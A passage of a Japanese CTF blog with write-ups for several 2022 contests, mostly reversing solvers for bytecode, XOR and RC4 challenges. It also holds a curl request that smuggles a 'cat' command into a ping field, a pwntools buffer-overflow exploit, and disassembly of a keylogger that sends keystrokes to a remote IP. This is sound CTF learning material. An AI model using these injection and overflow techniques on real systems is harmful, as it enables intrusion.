    redis.set(id, json.dumps({"id": str(uuid.uuid4()), "name": name}))
    redis.expire(id, 100)

SSRF脆弱性を利用するためには名前を登録する必要があり、名前を登録するとRedis上からFlagが消滅してしまいます。よってRedisからFlagを取得することはできないと結論付け、その後も色々な解き方を考えて試していたのですが、解くことはできませんでした。

実際の問題サーバではRedis上にもFlagが残っていたようです*2。理由については理解できていないので、わかる方がいれば教えていただけると嬉しいです。

追記 (2022-10-25):
公式Writeupにて、なぜこのような問題が起こったのか取り上げられていました。詳しく知りたい方は是非読んでみてください。

Reversing

GrandpaMemory (17 solves)

祖父からお誕生プレゼントが入った鍵付きの箱とa.outという名前のファイルをもらった。これを開けるには数字を入力すれば良いらしい。ヒントはこのファイルの計算結果が鍵であること、このファイルは1971年に冷蔵庫ほどもあるミニコンピューターで作成された実行ファイルであると言われた。

配布ファイルに対して file コマンドを実行すると、PDP-11という昔のミニコンピュータの実行ファイルであることがわかります。

$ file a.out 
a.out: PDP-11 old overlay

アセンブルできないか調べたところ、pdp11dasmというツールを見つけることができました。

;
; pdp11dasm version 0.0.3
; disassembly of a.out
;
000000: 000405                  br  14          ; ..
;
000002: 000064                  invalid opcode          ; 4.
000004: 000000                  halt                ; ..
000006: 000000                  halt                ; ..
000010: 000000                  halt                ; ..
000012: 000000                  halt                ; ..
;
000014: 005001                  clr r1          ; ..
000016: 005002                  clr r2          ; ..
000020: 005201                  inc r1          ; ..
000022: 005202                  inc r2          ; ..
000024: 006301                  asl r1          ; A.
000026: 006301                  asl r1          ; A.
000030: 006301                  asl r1          ; A.
000032: 006301                  asl r1          ; A.
000034: 006302                  asl r2          ; B.
000036: 060102                  add r1,r2           ; B`
000040: 000777                  br  40          ; ..
;
000042: 060560 071563           add r5,71563(r0)        ; pass
000046: 062167 064440           add (r1)+,64512     ; wd i
000052: 020163 067151           cmp r1,67151(r3)        ; s in
000056: 051040                  bis (r0),-(r0)      ;  R
000060: 020062 005000           cmp r0,5000(r2)     ; 2 ..

何らかの計算処理と passwd is in R2 という文字列を確認することができます。 複数のWebページを参考に処理内容を読み解き、最終的にR2レジスタの値が 18 になることがわかりました。

TsukuCTF22{18}

*1:Flagはapp.pyに含まれている

*2:諦めることなく試しておけば良かったと後悔中です...

CakeCTF 2022 Writeup

yoshikingさん, theoremoonさん, ptr-yudaiさん主催のCakeCTF 2022に参加させていただきました。やっぱりCTFは楽しい!と思える良問の数々で、すごく面白かったです。主催の皆さん、ありがとうございました!🍰

追記: luau (rev)のThird Bloodで賞品をいただきました。ありがとうございます!

[welcome] Welcome (676 solves)

Get the flag in Discord

問題文に書かれている通り、DiscordからFlagが得られる。

Flag: CakeCTF{p13a53_tast3_0ur_5p3cia1_cak35}

[warmup / rev] nimrev (246 solves)

Have you ever analysed programs written in languages other than C/C++?

NimMainModule 関数に目を通すと、eqStrings が呼び出されている場所を見つけることができる。

.text:000000000000AFB8                 mov     rdx, [rbp+flag]
.text:000000000000AFBC                 mov     rax, [rbp+input]
.text:000000000000AFC0                 mov     rsi, rdx
.text:000000000000AFC3                 mov     rdi, rax
.text:000000000000AFC6                 call    eqStrings

入力とそのまま比較していることから、Flagが eqStrings に渡されていると推測することができる。ブレークポイントを設置して引数の内容を確認することでFlagが得られる。

gdb-peda$ x/24c 0x7ffff7d0f0e0
0x7ffff7d0f0e0: 0x43    0x61    0x6b    0x65    0x43    0x54    0x46    0x7b
0x7ffff7d0f0e8: 0x73    0x30    0x6d    0x33    0x74    0x31    0x6d    0x33
0x7ffff7d0f0f0: 0x73    0x5f    0x6e    0x30    0x74    0x5f    0x43    0x7d

Flag: CakeCTF{s0m3t1m3s_n0t_C}

[rev] luau (64 solves)

Aloha! This is a luau for reverse engineerers!

LuaソースコードLua 5.3のバイトコードが配布されている。

libflag.lua: Lua bytecode, version 5.3
main.lua:    ASCII text

Luaソースコードを確認してみると、libflag.checkFlag という関数が呼び出されており、引数として入力内容と "CakeCTF 2022" という文字列が渡されていることがわかる。Luaバイトコードのデコンパイラがないか探してみると、luadecというものが見つかったので、手元でビルドした上で試してみた。

# luadecをビルドする
$ git clone https://github.com/viruscamp/luadec
$ cd luadec
$ git submodule update --init lua-5.3
$ cd lua-5.3
$ make linux
$ cd ../luadec
$ make LUAVER=5.3

# luadecを実行する
$ ./luadec ./libflag.lua
cannot find blockend > 5 , pc = 4, f->sizecode = 5
cannot find blockend > 110 , pc = 109, f->sizecode = 110
-- Decompiled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec
-- Command line: ./libflag.lua

Segmentation fault (core dumped)

見ての通り、正常にデコンパイルすることができなかったので、逆アセンブル機能を試してみた。

$ ./luadec -dis ./libflag.lua
cannot find blockend > 5 , pc = 4, f->sizecode = 5
cannot find blockend > 110 , pc = 109, f->sizecode = 110
; Disassembled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec
; Command line: -dis ./libflag.lua

; Function:        0
; Defined at line: 0
; #Upvalues:       1
; #Parameters:     0
; Is_vararg:       2
; Max Stack Size:  2

    0 [-]: CLOSURE   R0 0         ; R0 := closure(Function #0_0)
    1 [-]: NEWTABLE  R1 0 1       ; R1 := {} (size = 0,1)
    2 [-]: SETTABLE  R1 K0 R0     ; R1["checkFlag"] := R0
    3 [-]: RETURN    R1 2         ; return R1
    4 [-]: RETURN    R0 1         ; return


; Function:        0_0
; Defined at line: 1
; #Upvalues:       1
; #Parameters:     2
; Is_vararg:       0
; Max Stack Size:  41

    0 [-]: NEWTABLE  R2 26 0      ; R2 := {} (size = 26,0)
    1 [-]: LOADK     R3 K0        ; R3 := 62
    2 [-]: LOADK     R4 K1        ; R4 := 85
    3 [-]: LOADK     R5 K2        ; R5 := 25
    4 [-]: LOADK     R6 K3        ; R6 := 84
**長いので省略**

エラーは先ほどと変わらず表示されているが、正常に逆アセンブルできているように見えたので、構わず解析を進めることにした。表示されたコードを最初から読んでいくと、まず最初に数値をR3~R40に代入し、それをR2というリストに格納していることがわかる。

    1 [-]: LOADK     R3 K0        ; R3 := 62
    2 [-]: LOADK     R4 K1        ; R4 := 85
    3 [-]: LOADK     R5 K2        ; R5 := 25
.
.
.
   36 [-]: LOADK     R38 K30      ; R38 := 89
   37 [-]: LOADK     R39 K31      ; R39 := 34
   38 [-]: LOADK     R40 K31      ; R40 := 34
   39 [-]: SETLIST   R2 38 1      ; R2[0] to R2[37] := R3 to R40 ; R(a)[(c-1)*FPF+i] := R(a+i), 1 <= i <= b, a=2, b=38, c=1, FPF=50

次にR0(第一引数)とR2の長さが等しいか確認する処理があり、更にその次にR0およびR1(第二引数)をバイトのリストに変換する処理が記述されていた。

   59 [-]: SETTABLE  R3 R8 R9     ; R3[R8] := R9
...
   72 [-]: SETTABLE  R4 R8 R9     ; R4[R8] := R9

その後、R3およびR4の順序を逆順に並び替える処理、そしてR3とR4でXORデコードを行っている処理が記述されていた。

   82 [-]: GETTABLE  R13 R3 R8    ; R13 := R3[R8]
   83 [-]: GETTABLE  R14 R3 R12   ; R14 := R3[R12]
   84 [-]: SETTABLE  R3 R8 R14    ; R3[R8] := R14
   85 [-]: SETTABLE  R3 R12 R13   ; R3[R12] := R13
...
   92 [-]: GETTABLE  R9 R3 R8     ; R9 := R3[R8]
   93 [-]: SUB       R10 R8 K32   ; R10 := R8 - 1
   94 [-]: LEN       R11 R4       ; R11 := #R4
   95 [-]: MOD       R10 R10 R11  ; R10 := R10 % R11
   96 [-]: ADD       R10 K32 R10  ; R10 := 1 + R10
   97 [-]: GETTABLE  R10 R4 R10   ; R10 := R4[R10]
   98 [-]: BXOR      R9 R9 R10    ; R9 := R9 ~ R10

以下が上記で判明した内容をもとに作成したソルバです。

#!/usr/bin/env python3

r2 = [62, 85, 25, 84, 47, 56, 118, 71, 109, 0, 90, 71, 115, 9, 30, 58, 32, 101, 40, 20, 66, 111, 3, 92, 119, 22, 90, 11, 119, 35, 61, 102, 102, 115, 87, 89, 34, 34]
r4 = bytearray(b"CakeCTF 2022")

flag = ''
for i in range(len(r2)):
    flag += chr(r2[i] ^ r4[i % len(r4)])

print(flag[::-1])

Flag: CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}

3番目に解いたのでダメかな、と思いきやPrizeを貰えることになって、すごく嬉しかったです!*1

[forensics / rev] zundamon (20 solves)

I found a suspicious process named "zundamon" running on my computer. Can you investigate the communication logs to confirm that no information has been leaked?

This program may harm your computer. Do not run it outside sandbox.

実行ファイル (ELF) とpcapngファイルが配布されている。

evidence.pcapng: pcapng capture file - version 1.0
zundamon:        ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7e0fd4acc0c6f7aed55b6aab42ccd63a2c7ee871, for GNU/Linux 3.2.0, not stripped

zundamon という実行ファイルを解析すると、/dev/input/ 下のデバイスファイルを読み取り、その内容を 164.70.70.9 宛てに送信するような機能を持っていることがわかる。

.text:0000000000001568                 mov     rcx, cs:cmp     ; cmp
.text:000000000000156F                 lea     rdx, is_char    ; selector
.text:0000000000001576                 lea     rdi, dir        ; "/dev/input"
.text:000000000000157D                 mov     rax, fs:28h
.text:0000000000001586                 mov     [rsp+2048h+var_30], rax
.text:000000000000158E                 xor     eax, eax
.text:0000000000001590                 lea     rsi, [rsp+2048h+namelist] ; namelist
.text:0000000000001595                 call    _scandir
...
.text:0000000000001737                 lea     rdi, cp         ; "164.70.70.9"
.text:000000000000173E                 mov     [rsp+38h+var_38], 0EB180002h
.text:0000000000001745                 call    _inet_addr
...
.text:0000000000001AB8                 mov     rsi, r14        ; buf
.text:0000000000001ABB                 mov     edx, 3072       ; nbytes
.text:0000000000001AC0                 mov     edi, r12d       ; fd
.text:0000000000001AC3                 call    _read
...
.text:00000000000019EB                 mov     edx, 2          ; n
.text:00000000000019F0                 mov     rsi, r12        ; buf
.text:00000000000019F3                 mov     edi, ebp        ; fd
.text:00000000000019F5                 call    _write

Wiresharkを用いてペイロードを抽出した上で、内容を読みやすくするスクリプトを作成し実行しました。

#!/usr/bin/env python3

import struct

KNOWN_VAR = [b'PING', b'+PONG', b'RPUSH', b'd8:f2:ca:ce:44:8d', b'*3', b'$5', b'$17', b'$3', b'*1', b'$4']

payload = bytes.fromhex(open('zundamon/payload.raw', 'r').read())
payload = payload.split(b'\r\n')
dat = []
for elem in payload:
    if elem != b'' and elem not in KNOWN_VAR and elem[0] != 58:
        dat.append(chr(elem[0]).encode())

dat = b''.join(dat)

# 長くなったので、一部省略しています
# 完全版: https://gist.github.com/mopisec/be346d276bbc7b83be9a7c69a681bbcd

for i in range(0, len(payload), EVENT_SIZE):
    print(get_key_from_value(key_dict, struct.unpack(EVENT_FORMAT, dat[i:i+EVENT_SIZE])[0]))
$ python3 ./nanoda_solve.py
KEY_LEFTCTRL
KEY_LEFTCTRL
...
KEY_LEFTSHIFT
KEY_C
KEY_A
KEY_A
KEY_K
KEY_K
KEY_E
KEY_E
KEY_LEFTSHIFT
KEY_C
KEY_C
KEY_T
KEY_T
KEY_F
KEY_F
KEY_RIGHTBRACE
...

Flag: CakeCTF{b3_C4r3fuL_0f_M4l1c10us_k3yL0gg3r}

とても面白い問題でした、なのだ!😊

[survey] Survey (226 solves)

Surveyを提出することでFlagが得られる。

Flag: CakeCTF{ar3_y0u_5ati5fi3d_with_thi5_y3ar5_cak3?}

*1:語彙力......

SECCON Beginners CTF 2022 Writeup

はじめに

今年は1人チームで参加して、reversingを中心に何問か解いていました。reversingは全問解けて、hardの問題でFirst Bloodを取ることもできたので良かったです。

運営の皆さま、素晴らしいCTFを開催してくださりありがとうございました!

web

Util

配布されたソースコードを読むことで、標的となるウェブサービスにはOSコマンドインジェクションが可能な脆弱性が存在することがわかります。クライアントサイドにはJavaScriptを用いた簡単な入力内容のチェックが存在しますが、以下のようにcurlで直接POSTすることでチェックを回避し解くことができます。

curl -X POST -H "Content-Type: application/json" -d '{"address": "127.0.0.1;cat /flag_A74FIBkN9sELAjOc.txt"}' https://util.quals.beginners.seccon.jp/util/ping

pwnable

BeginnersBof

バッファオーバーフローを引き起こして win 関数を呼び出すことでFlagが得られます。

from pwn import *
from struct import pack

elf = ELF('./chall')
addr_win = elf.symbols['win']

r = remote('beginnersbof.quals.beginners.seccon.jp', 9000)

payload = b'A' * 40
payload += pack("<Q", addr_win)
r.sendline(b'100')
r.sendline(payload)

r.interactive()

reversing

Quiz

暗号化/エンコード等されていないFlagが実行ファイルに含まれているので、strings などのツールを使って解けます。

strings ./quiz | grep ctf4b

WinTLS

Windowsのスレッドローカルストレージというスレッド単位で利用することができる静的な変数を題材とした問題です。CreateThread 関数によって呼び出されている t1 , t2 という関数の処理を読み解くことで、Flagを求めることができます。

tls1 = 'c4{fAPu8#FHh2+0cyo8$SWJH3a8X'
tls2 = 'tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}'
flag = [''] * 0xff

x = 0
for i in range(60):
    if i % 3 == 0 or i % 5 == 0:
        flag[i] = tls1[x]
        x += 1

x = 0
for i in range(60):
    if i % 3 != 0 and i % 5 != 0:
        flag[i] = tls2[x]
        x += 1

print(''.join(flag))

Recursive

問題名の通り、再帰関数を用いて入力が正しいか(Flagかどうか)判定するプログラムが配布されます。ハードコードされたバイト列を抽出し、以下のようにFlagを求めるスクリプトを作成/実行して解くことができます。

flag = ''
table = bytes.fromhex('6374602A6634282B62633935222E3831627B686D7233632F7D72403A7B263B3531346F642A3C682C6E27646D78773F6C656728796F296E652B6A2D7B2860712F7272337C2824302B35732E7A7B5F6E63617572247B733176352521702968217127743C3D6C405F386839335F776F63346C64253E3F6362613C646167787C6C3C622F792C79606B2D377B3D3B7B26382C387535246B6B637D403771403C746D30333A262C663176796227382564796C3228673F3731377123753E66772829766F6F243667293A295F635F2B38762E67626D28252477283C683A312163277275767D4033607961217235263B357A5F6F676D306139633233736D772D2E69237C777B386B65706676773A337C3366353C65403A7D2A2C713E73672162646B72307837403E682F352A68693C373439277C7B29736A313B302C2469672676293D7430666E6B7C30336A227D37727B7D74697D3F5F3C7377786A75316B216C266462216A3A7D217A7D362A60315F7B6631734033642C76696F34353C5F3476635F76333E6875333E2B62797671232340662B296C633931772B39693723763C723B72722475402861743E766E3A3762606A736D67366D797B2B396D5F2D727970705F75356E2A362E7D66387070673C6D2D267171356B33663F3D75317D6D5F3F6E393C7C65742A2D2F256667682E316D28405F3376663469286E2973326A7667306D34')

def check(input, x):
    global flag
    if len(input) == 1:
        flag += chr(table[x])
    else:
        a = int(len(input) / 2)
        check(input[:a], x)
        check(input[a:], x + a * a)

check('A'*38, 0)
print(flag)

Ransom

実行ファイル、暗号化されていると思われるファイル、pcapファイルが配布されます。実行ファイルの処理を読み解くことで、ファイルがRC4によって暗号化されていることがわかり、更に鍵はソケット通信で外部に送信されていることがわかります。Wireshark等のツールでpcapファイルから鍵を探し出し、それを用いてファイル内のデータを復号することでFlagが得られます。

from Crypto.Cipher import ARC4

key  = b'rgUAvvyfyApNPEYg'
enc = b'\x2b\xa9\xf3\x6f\xa2\x2e\xcd\xf3\x78\xcc\xb7\xa0\xde\x6d\xb1\xd4\x24\x3c\x8a\x89\xa3\xce\xab\x30\x7f\xc2\xb9\x0c\xb9\xf4\xe7\xda\x25\xcd\xfc\x4e\xc7\x9e\x7e\x43\x2b\x3b\xdc\x09\x80\x96\x95\xf6\x76\x10'

cipher = ARC4.new(key)
dec = cipher.decrypt(enc)
print(dec)

please_not_debug_me

簡単なパッカーでパックされている実行ファイルが配布されているので、まずはアンパックしましょう。

dat = open('please_not_debug_me','rb').read()
dat = dat[0x3020:]
dat = bytearray(dat)
for i in range(len(dat)):
    dat[i] = dat[i] ^ 0x16

open('unpacked.elf','wb').write(dat)

抽出した実行ファイルを解析すると、RC4で入力を暗号化して、ハードコードされたバイト列と暗号化後のデータを比較することで入力が正しい(Flagかどうか)判定していることがわかります。以下のようなソルバを書くことでFlagを復号化することができます。

from Crypto.Cipher import ARC4

key = bytearray(bytes.fromhex('6231346265376032693C686F6A3B6D6E7126232B232D21242C2F2F787924292F4411164510101F43'))
enc = bytes.fromhex('27D9653A0F25E40E818A59BC33FBF9FC05C63301E2B0BE8E4A9CA94673B8487D7F7322ECDBDC98D99061807C6CB336423F9044850D95B1EEFA94850CB99F')

for i in range(40):
    key[i] = key[i] ^ i

cipher = ARC4.new(bytes(key))
dec = cipher.decrypt(enc)
print(dec)

TSG LIVE! 8 CTF Writeup

Revしか解けなかった (& 取り組めなかった) ので、もっと早解きできるように精進していきます。

TSGの皆さま、素晴らしいCTF (+生放送) の企画・運営をしていただき、ありがとうございました!

DNS ROPOB (Rev)

静的解析

静的解析を妨害する目的だと思われるコードが含まれた実行ファイルが配布されます。 冷静に逆アセンブル結果を読んでいくと、入力を所定のキーでXORエンコードしたものと、ハードコードされているバイト列同士をXORエンコードしたものを比較することで、Flagが正しいかどうか検証していることがわかります。 以下のようにFlagを1文字ずつ求めるスクリプトを書けば、Flagが得られます。

ソルバ

enc = [0x12, 0x18, 0x10, 0x48, 0x99, 0x49, 0x49, 0x93, 0x48, 0x59, 0x59, 0xF3, 0xA8, 0xE8, 0x49, 0xD4, 0xC6, 0xB5, 0x68, 0x0A, 0x8C, 0x85, 0x96, 0xE7, 0xF8, 0x69, 0x57, 0x43, 0xA3, 0x76, 0x8D, 0x7C]
seed = [0x37, 0x28, 0x26, 0x68, 0xBC, 0x6C, 0x43, 0xB9, 0x66, 0x5B, 0x45, 0xCF, 0xB0, 0xE5, 0x4B, 0xC7, 0xDE, 0xA4, 0x7C, 0x0D, 0xA2, 0x80, 0x95, 0xEB, 0xE4, 0x55, 0x74, 0x6F, 0x82, 0x5A, 0xBE, 0x62]

flag = ''
key = [0x63, 0x71]

for i in range(0x20):
    flag += chr(enc[i] ^ seed[i] ^ key[(i+1)%2])

print(flag)

zer0pts CTF 2022 - service (Rev) Writeup

主催者およびスポンサーの皆様、素晴らしいCTFを開催してくださりありがとうございました。

service (Rev)

入力した文字列から2文字ずつSHA256ハッシュを求めて、ハードコードしてあるものと比較している。IATが書き換えられており、IDA等では正しい逆アセンブル結果が表示されないが、デバッガー (x64dbg, WinDbgなど) を用いることで Cryptographic API (Win32) を呼び出していることがわかる。

以下はその内容をもとに記述したソルバである。

import string
import hashlib

flag = ""

with open('chall.exe', 'rb') as cf:
    cf.seek(0x2220)
    dat = cf.read(0x261f-0x2220+1)

for i in range(0, 32*32, 32):
    for c1 in string.printable:
        for c2 in string.printable:
            pos = c1 + c2
            if dat[i:i+32].hex() == hashlib.sha256(pos.encode()).hexdigest():
                flag += pos

print(flag)